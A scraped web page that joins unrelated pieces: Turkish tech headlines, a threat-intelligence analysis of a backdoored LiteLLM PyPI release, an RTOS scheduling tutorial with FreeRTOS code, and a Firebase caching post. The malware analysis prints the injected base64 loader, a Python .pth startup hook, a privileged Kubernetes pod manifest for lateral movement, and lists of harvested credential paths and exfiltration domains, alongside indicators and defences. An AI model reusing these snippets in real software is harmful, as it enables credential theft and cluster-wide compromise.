Senators Demand to Know How Much Energy Data Centers Use
Kurumsal müşterilere yönelik açık kaynaklı EdgeOps platformu geliştiren Datasance, yatırım aldı
Meta ve Google, sosyal medyanın çocuklara zarar verdiği iddialarına odaklanan ABD’deki davayı kaybetti
PS Store’da “İlkbahar” indirimleri başladı: İşte tüm fırsatlar
Playstation Store’da “İlkbahar” indirimleri başladı. İndirim döneminde yüzde 75’e varan fırsatlar için son tarih 9 Nisan 2026. işte Playstation Store’da indirime giren oyunlar…Meta ve Google’a “çocuklara zarar” kararı: Sosyal medyada dönüm noktası
ABD’de jüri, Meta ve Google’ın gençlere zarar veren platform tasarladığına hükmetti. 6 milyon dolarlık tazminat kararı teknoloji devlerine karşı açılan davalar için emsal olabilir.Türkiye’de en eski evcil köpek kalıntıları bulundu: Tarih 5.000 yıl geriye çekildi
Uluslarası bir araştırma ekibi, Avrupa ve Anadolu’nun çeşitli bölgelerinde benzer dönemlere tarihlenen çok sayıda köpek kalıntısı tespit etti. Böylece ilk köpeklere ait kanıtlar 5000 yıl geriye gitti.LiteLLM Supply Chain Attack: How TeamPCP Backdoored AI Infrastructure
Why This Matters
On March 24, 2026, the popular Python package litellm — a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock — was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.
With approximately 3.6 million daily downloads and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.
But the litellm compromise was not an isolated event. It was the culmination of a five-day, five-ecosystem campaign by a threat actor known as TeamPCP — a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to protect their supply chains.
This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value AI infrastructure, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester — covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs — suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.
Timeline
| Date (UTC) | Event |
|---|---|
| March 19 | TeamPCP compromises Aqua Trivy GitHub Action tags, replacing them with malicious code that exfiltrates CI/CD secrets from downstream repositories |
| March 21 | Compromise extends to Checkmarx KICS and AST GitHub Actions using similar techniques |
| March 22, 06:35 | BerriAI publishes litellm 1.82.6 (last clean version) via normal CI/CD pipeline that uses Trivy for security scanning |
| March 23 | TeamPCP registers models.litellm.cloud (exfiltration domain). Compromises 66+ npm packages and OpenVSX extensions |
| March 24, 10:39 |
litellm 1.82.7 published to PyPI — payload injected into proxy_server.py at module scope. Executes on import |
| March 24, 10:52 |
litellm 1.82.8 published 13 minutes later — adds litellm_init.pth, a Python path configuration hook that executes on every Python interpreter startup, not just litellm imports. Shows rapid payload iteration |
| March 24, ~16:00 | PyPI removes both versions after community reports. Versions are fully deleted (not yanked) from the index, though CDN tarballs remain accessible |
Exposure window: approximately 5.5 hours. During this time, any pip install litellm, pip install --upgrade litellm, or CI/CD pipeline pulling the latest version would have executed the payload.
How the Malware Got In: The Cascading Compromise
The litellm package was not directly breached. The attacker reached it through a two-hop supply chain attack:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI
LiteLLM’s CI/CD pipeline used Trivy as a security scanner — the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the PYPI_PUBLISH token, giving TeamPCP direct publishing access to the litellm PyPI project.
This “compromise the guards” strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.
Technical Analysis: The Payload
Injection Points
Version 1.82.7 — Module-level execution in litellm/proxy/proxy_server.py (line 128):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])
This code sits at module scope between a dictionary literal and the original showwarning() function. It executes immediately when litellm.proxy.proxy_server is imported — which happens on any use of litellm’s proxy functionality.
Version 1.82.8 — Added litellm_init.pth (Python path configuration file):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python .pth files in site-packages/ are processed on every interpreter startup, but only lines beginning with import are executed as code. The attacker exploits this by chaining the entire payload onto a single import statement: import os, subprocess, sys; subprocess.Popen(...). This is far more aggressive than the proxy_server.py injection — it fires even if litellm is never imported, on every Python process launch. The pyproject.toml was modified to include this file in the distribution:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]
Version 1.82.8 thus has two independent execution paths: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable — it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.
Stage 1: Comprehensive Credential Harvesting
The decoded inner script is a meticulous credential vacuum. It uses os.walk(), glob.glob(), subprocess.check_output(), and direct file reads to sweep the entire system:
| Category | Targets |
|---|---|
| System recon |
hostname, whoami, uname -a, ip addr, printenv, ip route
|
| SSH |
~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; host keys from /etc/ssh/
|
| Cloud (AWS) |
~/.aws/credentials, ~/.aws/config; IMDS role credentials via 169.254.169.254; Secrets Manager ListSecrets; SSM DescribeParameters
|
| Cloud (GCP) |
~/.config/gcloud/ (recursive); $GOOGLE_APPLICATION_CREDENTIALS
|
| Cloud (Azure) |
~/.azure/ (recursive); environment variables |
| Kubernetes | Service account tokens; ca.crt; namespace; kubectl get secrets --all-namespaces; all secrets via K8s API |
| Environment files |
.env, .env.local, .env.production, .env.development, .env.staging — searched recursively (depth 6) across /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
|
| Docker |
~/.docker/config.json, /kaniko/.docker/config.json
|
| Package tokens |
~/.npmrc, ~/.vault-token, ~/.netrc
|
| Databases |
~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB configs |
| TLS/SSL | Private keys from /etc/ssl/private/, Let’s Encrypt certs, all .pem/.key/.p12/.pfx files |
| Git |
~/.git-credentials, ~/.gitconfig
|
| CI/CD |
terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
|
| Crypto wallets | Bitcoin, Ethereum keystore, Solana keypairs (validator, vote, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Shell history |
.bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
|
| System auth |
/etc/passwd, /etc/shadow, auth logs (accepted SSH sessions) |
| Webhook/API keys | Grep for Slack webhooks, Discord webhooks, API keys/secrets in config files |
| VPN | WireGuard configs from /etc/wireguard/
|
The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets — suggesting the attacker intends to monetize compromised systems across multiple vectors.
Stage 2: Encrypted Exfiltration
Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:
-
AES-256-CBC encryption of all collected data with a random 32-byte session key (via
openssl enc) -
RSA-4096 encryption of the session key using the attacker’s embedded public key (OAEP padding, via
openssl pkeyutl) - Both ciphertext files bundled as
tpcp.tar.gz(thetpcpprefix — “TeamPCP” — appears consistently across the campaign) - HTTPS POST to
https://models.litellm.cloud/withContent-Type: application/octet-stream
The domain models.litellm.cloud was registered on March 23 — one day before the attack — and is designed to blend with legitimate litellm infrastructure (the real project uses litellm.ai). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm’s own model endpoint.
Stage 3: Persistent Backdoor (sysmon.py)
The payload installs a polling backdoor disguised as system telemetry:
-
Path:
~/.config/sysmon/sysmon.py -
Service:
sysmon.service(systemd user unit, described as “System Telemetry Service”) -
Behavior: After an initial 300-second sleep, polls
https://checkmarx.zone/rawevery ~50 minutes -
Execution: Downloads the URL returned by the C2 to
/tmp/pglog, sets it executable (chmod 755), runs it in a detached session -
State tracking:
/tmp/.pg_stateprevents re-downloading the same payload -
Persistence:
Restart=always,RestartSec=10— survives crashes and reboots
The domain checkmarx.zone is a typosquat of Checkmarx (the security company at checkmarx.com), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP’s broader strategy of hiding behind security vendor branding.
Stage 3b: Kubernetes Lateral Movement
If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys privileged pods to each one:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}
Each pod:
- Runs as privileged with
hostPID,hostNetwork, and full host filesystem access - Uses
chroot /hostto install the samesysmon.pybackdoor on the host’s root filesystem - Registers it as a systemd service, ensuring persistence survives pod deletion
- Named
node-setup-*in thekube-systemnamespace to appear as legitimate cluster infrastructure
This means a single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored — a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.
Payload Evolution (Commented-Out Variants)
The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker’s development process:
-
All three variants share the same exfiltration infrastructure (
models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, andtpcp.tar.gzbundle naming - Earlier variants added an RC4 encryption layer inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer
- The earlier variants use
exec()withStringIOcapture to run the collector in-process, while the active payload usessubprocess.run()with stdout redirect — a cleaner separation that avoids polluting the host process - All three variants target the same credential categories and collection paths
- The RC4 key in the earlier variants was a provocative slur, consistent with the actor’s attention-seeking behavior on Telegram
This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.
Indicators of Compromise (IOCs)
Network
| Indicator | Type | Purpose |
|---|---|---|
models.litellm.cloud |
Domain | Exfiltration endpoint (HTTPS POST) |
checkmarx.zone |
Domain | C2 polling endpoint (HTTPS GET /raw) |
Note: External reporting links checkmarx.zone/static/checkmarx-util-1.0.4.tgz to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.
Package Hashes
| File | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Indicator | Type | Purpose |
|---|---|---|
~/.config/sysmon/sysmon.py |
File | Persistent backdoor script |
~/.config/systemd/user/sysmon.service |
File | Systemd persistence unit |
/tmp/pglog |
File | Downloaded second-stage binary |
/tmp/.pg_state |
File | C2 state tracking |
litellm_init.pth in site-packages/
|
File | Python startup hook (v1.82.8 only) |
tpcp.tar.gz |
File | Encrypted exfiltration bundle |
Kubernetes
| Indicator | Type | Purpose |
|---|---|---|
node-setup-* pods in kube-system
|
Pod | Privileged lateral movement pods |
sysmon.service on cluster nodes |
Service | Host-level persistence via pod escape |
Cryptographic
| Indicator | Details |
|---|---|
| Attacker RSA-4096 public key | SHA256 fingerprint: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Embedded in all three payload variants; same key reported across other TeamPCP operations |
tpcp prefix in artifacts |
Bundle naming convention (tpcp.tar.gz) consistent across the campaign |
Attribution: TeamPCP
The threat actor behind this campaign is tracked as TeamPCP, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.
Known characteristics:
- Maintains Telegram channels at
@Persy_PCPand@teampcpwhere they taunted security companies - Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)
- Uses vendor-specific typosquat domains for each phase of the campaign (e.g.,
checkmarx.zonefor Checkmarx,models.litellm.cloudfor litellm) - Consistent infrastructure markers: same RSA key pair,
tpcp.tar.gznaming convention,tpcp-docs-*GitHub repositories used as dead-drop staging - Targets security tools as entry points to downstream supply chains
Attribution confidence: High. The shared RSA public key, tpcp artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.
Motivation: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting — from AWS IAM to Solana validator keypairs to WireGuard configs — suggests a financially motivated actor seeking to maximize ROI from each compromise.
Possible AI assistance: The credential harvester is systematically comprehensive — 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials — in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.
New TTPs and Techniques
1. Security Tool Supply Chain Poisoning (T1195.002 variant)
Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn’t just compromise a library — they compromised the tools organizations use to detect compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.
2. Python .pth File Persistence (T1546)
The litellm_init.pth technique in v1.82.8 is particularly insidious. Python .pth files in site-packages/ are processed on every interpreter startup; any line beginning with import is executed as code. By chaining the payload onto a single import statement, the attacker achieves execution on every Python process — not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised .py files without checking for .pth files.
3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)
The automated creation of privileged pods on every cluster node — with hostPID, hostNetwork, host filesystem mount, and chroot to install persistence — chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.
4. Vendor-Impersonating C2 Infrastructure
Using models.litellm.cloud (mimics litellm) and checkmarx.zone (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.
5. Rapid In-Flight Payload Iteration
Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.
What Can Be Done
This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:
For Package Consumers
-
Pin dependencies by hash, not just version.
pip install litellm==1.82.6 --hash=sha256:...would have prevented the compromised versions from being installed even if they briefly appeared as the latest version. -
Use lockfiles.
pip-compile,poetry.lock, anduv.lockcapture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers. -
Monitor for
.pthfiles. Regularly auditsite-packages/for unexpected.pthfiles — they execute on every Python startup and are an underappreciated persistence mechanism. -
Implement egress network controls. The exfiltration to
models.litellm.cloudand C2 polling tocheckmarx.zonecould have been caught by allowlist-based egress filtering in production environments.
For Package Maintainers
-
Pin CI/CD actions by commit SHA, not tag. LiteLLM’s pipeline used Trivy without a pinned version. If it had referenced
aquasecurity/trivy-action@<commit-sha>instead of@latest, the compromised action would not have executed. -
Use short-lived, scoped publishing tokens. PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated
PYPI_PUBLISHtoken should not have had long-lived, unrestricted publishing access. - Enable two-factor authentication on PyPI. Require 2FA for all maintainers and use hardware security keys where possible.
- Sign packages. Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.
For Platform Operators (PyPI, npm, GitHub)
- Detect anomalous publishing patterns. Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.
- Accelerate Trusted Publishers adoption. OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.
- Implement publish-time malware scanning. The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.
For the Ecosystem
- Treat security tools as critical infrastructure. Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.
- Invest in runtime detection. Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.
- Share threat intelligence faster. The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly — the bottleneck is human confirmation and registry response time.
Conclusion
The TeamPCP campaign is a watershed moment for software supply chain security. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency — and that dependency might be the security tool you trust to keep you safe.
The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.
Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for node-setup-* pods in kube-system, remove any sysmon.service systemd units, and check for litellm_init.pth in Python site-packages/ directories. Users of the official Docker image (ghcr.io/berriai/litellm) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.
RTOS Scheduling — What Nobody Told You

Motor controller. Production hardware. The system would run perfectly for hours, then suddenly freeze — no crash, no fault handler, just… silence. The watchdog would reset everything and we’d be back in business. For about six hours.
It took me two days to figure out it was a priority inversion. A low-priority logging task was holding a mutex that a high-priority motor task needed. A medium-priority CAN handler kept preempting the logger. The motor task starved. The watchdog fired.
I’d been writing RTOS code for a year at that point. I thought I understood scheduling. I did not. This post is everything I learned the hard way — written for you, so you don’t have to spend two days staring at a logic analyzer.
<10µs
Context switch on Cortex-M4 @ 168MHz
O(1)
Task selection — single CLZ instruction
69.3%
Max CPU utilization under RMA (n→∞)
First, Let’s Kill a Myth
The most common thing I see new embedded engineers get wrong: they think an RTOS makes their system faster. It doesn’t. It makes timing predictable. That’s a completely different thing, and it’s the whole point.
On a bare-metal superloop, everything runs in sequence. Your 100ms display refresh sits right next to your 1ms motor update. You’re always one long function away from missing a deadline. You can go fast — but you can’t go on time.
An RTOS gives you a contract: ‘A task with sufficient priority will preempt whatever is running within a bounded window.’ That bound is what makes real-time systems work. Not speed. Predictability.
Think of the RTOS scheduler as a function that runs at every tick and after every blocking call, answering one question: ‘Which task should own the CPU right now?’ In a fixed-priority system, the answer is always: ‘the highest-priority task that is Ready.’ Everything else is just implementation detail.
The moment you need to service a CAN interrupt, update motor PWM, and refresh a display — all with distinct timing requirements — you need a scheduler. That’s it. If your timing requirements are all the same, a superloop is fine. The second they diverge, you need this.
What the Scheduler Actually Does
Most tutorials show you a pretty diagram of task states and then show you xTaskCreate(). That’s skipping the good part. Let me show you the actual scheduler code — FreeRTOS, stripped to its bones.
tasks.c — vTaskSwitchContext (simplified)
C
/* This is the entire scheduler. Seriously. */
void vTaskSwitchContext( void )
{
UBaseType_t uxTopPriority;
/* Find the highest-priority bit set in the ready-list bitmap */
portGET_HIGHEST_PRIORITY( uxTopPriority, uxTopReadyPriority );
/* Pick the first task at that priority level */
listGET_OWNER_OF_NEXT_ENTRY( pxCurrentTCB,
&( pxReadyTasksLists[ uxTopPriority ] ) );
}
/* On ARM Cortex-M, portGET_HIGHEST_PRIORITY expands to:
uxTopPriority = ( 31UL - __clz( uxReadyPriorities ) );
That's it. One CLZ instruction. O(1). No matter how many tasks.
This is why RTOS context switches are so fast. */
Task States — Draw This on Paper
Seriously, take five minutes and draw the task state machine on paper. More RTOS bugs come from not having this mental model clearly loaded than from any API misuse. Here it is:
The thing people get wrong: they think ‘BLOCKED’ means the task is stuck. It’s not stuck — it’s efficiently parked. A blocked task consumes zero CPU. It’s sitting in a list, waiting for something specific. The scheduler doesn’t even look at it until that event fires.
This is why RTOS-based systems can run dozens of tasks on a Cortex-M4 with sub-millisecond response times and still have 90% CPU headroom. Most tasks are blocked most of the time. The scheduler only runs tasks that have something to do.
The Tick Rate Trap (I’ve Seen This a Dozen Times)
vTaskDelay(1) does not delay for 1 millisecond. It delays for 1 tick. If your tick rate is 100Hz, that’s 10ms. Always use pdMS_TO_TICKS(1) and always know what your tick rate is configured to. I once inherited a codebase where someone had set configTICK_RATE_HZ to 10 — every vTaskDelay(100) was actually a 10-second delay. Fun to debug.
Context Switching in Assembly
This is the part most tutorials skip. A context switch isn’t magic — it’s assembly code that saves every CPU register from the current task onto its stack, calls the scheduler to pick the next task, then restores every register from the new task’s stack. That’s it.
On ARM Cortex-M, the hardware helps you out. When an interrupt fires (including the PendSV interrupt the RTOS uses for scheduling), the CPU automatically pushes 8 registers onto the current stack before jumping to your ISR. The RTOS just has to handle the rest.
port.c — PendSV_Handler, ARM Cortex-M4F (annotated)
ASM
PendSV_Handler:
; Hardware already saved: xPSR, PC, LR, R12, R3, R2, R1, R0
; Those 8 are free. Now we save the rest.
MRS R0, PSP ; Get current task's Process Stack Pointer
LDR R3, =pxCurrentTCB ; Load address of current TCB pointer
LDR R2, [R3] ; R2 = current TCB
VSTMDB R0!, {S16-S31} ; Save FPU registers (if task used FPU)
STMDB R0!, {R4-R11, R14} ; Save R4-R11 + EXC_RETURN value
STR R0, [R2] ; Save updated stack pointer back into TCB
; ↑ Current task is now fully frozen. Stack holds its entire world.
BL vTaskSwitchContext ; Pick the next task (updates pxCurrentTCB)
; ↓ Restore the new task. It was frozen exactly like this at some point.
LDR R1, [R3] ; R1 = new TCB (pxCurrentTCB was updated)
LDR R0, [R1] ; R0 = new task's saved stack pointer
LDMIA R0!, {R4-R11, R14} ; Restore R4-R11 + EXC_RETURN
VLDMIA R0!, {S16-S31} ; Restore FPU registers
MSR PSP, R0 ; Update Process Stack Pointer
BX R14 ; Return from exception.
; Hardware restores the other 8 registers.
; CPU is now running the new task as if
; it was never interrupted. Magic. (It's not magic.)
The Task Control Block (TCB) is a struct whose first member is always the saved stack pointer. That’s not an accident — it means the assembly above can find it at offset zero without needing to know anything else about the struct layout. Clean engineering.
Stack Sizing Is Not a Guess
Each task needs enough stack for its own local variables, its call chain, AND the full context save shown above (17 core registers + 16 FPU registers = 33 words = 132 bytes just for the context frame, before your code does anything). Undersize the stack and you get silent memory corruption — the overflow writes into whatever is adjacent in RAM. Enable configCHECK_FOR_STACK_OVERFLOW 2 in every development build. Every one.
Priority Inversion — Back to My Bug
Remember the motor controller bug from the intro? Let me walk you through exactly what happened — because understanding this scenario saves careers.
In 1997, the Mars Pathfinder landed on Mars. Within a few days, the system started resetting itself. Telemetry showed a watchdog timeout. NASA engineers pored over the data, running the same software on Earth, trying to reproduce it. Eventually they found it: a priority inversion between a low-priority meteorological task holding an information bus mutex, a medium-priority communications task preempting it repeatedly, and a high-priority bus manager task starving as a result. The fix — enabling priority inheritance in VxWorks, a single config flag — was uploaded to a spacecraft 190 million kilometres away. It worked.
Here’s the exact scenario. Three tasks, one mutex:
The scheduler isn’t broken. It’s doing exactly what you told it to do. HIGH is blocked (legitimately waiting on a mutex). MEDIUM is ready. So MEDIUM runs. The scheduler cannot know that MEDIUM’s execution is indirectly preventing HIGH from getting what it needs.
The fix is priority inheritance: when HIGH blocks on a mutex held by LOW, temporarily raise LOW’s priority to match HIGH’s. Now MEDIUM can’t preempt LOW. LOW finishes, releases the mutex, its priority drops back to normal, and HIGH gets what it was waiting for.
The fix — one word difference, massive impact
C
/* ❌ WRONG — binary semaphore has NO priority inheritance */
xMutex = xSemaphoreCreateBinary();
/* ✅ CORRECT — mutex implements priority inheritance automatically */
xMutex = xSemaphoreCreateMutex();
/* That's it. That's the entire fix.
When a high-priority task blocks on this mutex, FreeRTOS
automatically boosts the holding task's priority.
No code changes anywhere else required. */
/* The general rule: if you're protecting a shared resource
(SPI bus, I2C peripheral, buffer, state) — use a MUTEX.
Binary semaphores are for signalling, not resource protection. */
Scheduling Algorithms — Your Actual Options
Most embedded RTOS implementations give you Fixed-Priority Preemptive Scheduling. Tasks have static priorities. Highest-priority ready task runs. Higher-priority tasks preempt lower ones immediately. Clean. Simple. Auditable. Use it.
There’s a theorem behind priority assignment called Rate Monotonic Analysis (RMA): assign higher priority to tasks with shorter periods. A task running every 1ms gets a higher priority than one running every 10ms. This is provably optimal — if any fixed-priority assignment can meet all deadlines, the rate-monotonic assignment will too.
📐 The Utilization Bound Formula (Worth Memorising)
For n tasks, the system is provably schedulable if:
U = Σ (C_i / T_i) ≤ n(2^(1/n) − 1)
Where C_i = worst-case execution time, T_i = period. As n grows, this approaches ln(2) ≈ 69.3%. If your total utilization is under ~70%, you're almost certainly fine. Over 70%, you need to run Response Time Analysis to be sure.
Patterns That Actually Work in Production
- Keep ISRs Stupid Short
An ISR that does actual work is a bug waiting to happen. You’re running at interrupt priority — you can’t use most FreeRTOS APIs, you can block the scheduler, and you’re eating into every other interrupt’s latency. Post to a queue and return. Let a task do the work.
The deferred interrupt pattern — the right way to handle hardware events
C
/* ISR: as short as humanly possible */
void USART1_IRQHandler( void )
{
BaseType_t xHigherPriorityTaskWoken = pdFALSE;
uint8_t byte = USART_ReceiveData( USART1 );
xQueueSendFromISR( xRXQueue, &byte, &xHigherPriorityTaskWoken );
/* If posting unblocked a higher-priority task, trigger a context
switch before this ISR returns. No delay. Immediate handoff. */
portYIELD_FROM_ISR( xHigherPriorityTaskWoken );
}
/* Task: does the actual work at task priority */
void vUARTTask( void *pvParams )
{
uint8_t byte;
for(;;) {
/* Zero CPU usage while nothing arrives */
if( xQueueReceive( xRXQueue, &byte, pdMS_TO_TICKS(100) ) )
vProcessByte( byte );
}
}
- Use vTaskDelayUntil — Not vTaskDelay
This one bites people constantly. vTaskDelay() starts counting from when the task wakes up. So if your task body takes 2ms and you delay for 10ms, your actual period is 12ms. And it drifts. Use vTaskDelayUntil() for anything periodic — it measures from the last wake time, so execution time doesn’t accumulate into your period.
periodic_task.c — do it this way, every time
C
void vMotorControlTask( void *pvParams )
{
TickType_t xLastWake = xTaskGetTickCount();
const TickType_t xPeriod = pdMS_TO_TICKS( 1 ); /* 1ms hard */
for(;;) {
vTaskDelayUntil( &xLastWake, xPeriod );
/* Blocks until (xLastWake + xPeriod), then updates xLastWake.
Even if you ran long last iteration, the next wake time
is still correct. No drift. */
vReadEncoders();
vRunPIDLoop();
vSetPWMOutputs();
}
}
- Enable Stack Overflow Detection — Always
FreeRTOSConfig.h + hooks.c
C
/* FreeRTOSConfig.h — method 2 fills stack with 0xA5 pattern
and checks it on every context switch. Catches it early. */
#define configCHECK_FOR_STACK_OVERFLOW 2
/* hooks.c */
void vApplicationStackOverflowHook( TaskHandle_t xTask, char *pcName )
{
/* Stack is corrupt — do NOT call any FreeRTOS API here */
taskDISABLE_INTERRUPTS();
/* Hang. Let the debugger catch it or watchdog reset.
pcName will tell you which task overflowed.
Then go back and double its stack size. */
for(;;);
}
/* After a while, use this to check headroom in normal operation: */
UBaseType_t remaining = uxTaskGetStackHighWaterMark( xMyTask );
/* If this is under ~50 words, size up. */
How I Reduced Firebase Loading Time from 5 Seconds to Under 100ms
The Problem
When Muslifie launched, tour listing pages were taking 2–5 seconds to load. Users on slower connections in Pakistan, Egypt, and Indonesia were bouncing before the data even appeared.
The culprit? Every time a user opened the app, Firebase was running fresh Firestore queries — no caching, no batching, just raw reads on every open.
At 200+ guide profiles and growing, this was getting expensive and slow.
What I Tried First (That Failed)
My first instinct was client-side caching with Flutter’s built-in Firestore persistence. It helped a little, but:
- First load was still slow
- Data was stale on reinstall
- No control over cache invalidation
Not good enough for a marketplace where guide availability changes daily.
The Real Fix — Cloud Functions Caching
The solution was moving the heavy lifting to Firebase Cloud Functions with in-memory caching.
Here’s the pattern:
let cachedData = null;
let cacheTime = null;
const CACHE_TTL = 5 * 60 * 1000; // 5 minutes
exports.getTours = functions.https.onCall(async (data, context) => {
const now = Date.now();
// Return cache if still fresh
if (cachedData && (now - cacheTime) < CACHE_TTL) {
return cachedData;
}
// Fetch fresh data
const snapshot = await db.collection('tours')
.where('status', '==', 'active')
.limit(50)
.get();
cachedData = snapshot.docs.map(doc => ({ id: doc.id, ...doc.data() }));
cacheTime = now;
return cachedData;
});
The key insight: Cloud Function instances stay warm between calls. So the cache lives in memory as long as the instance is alive — usually 15–30 minutes.
Results
| Metric | Before | After |
|---|---|---|
| Initial load | 2–5 seconds | Under 100ms |
| Firestore reads/day | 40,000+ | ~800 |
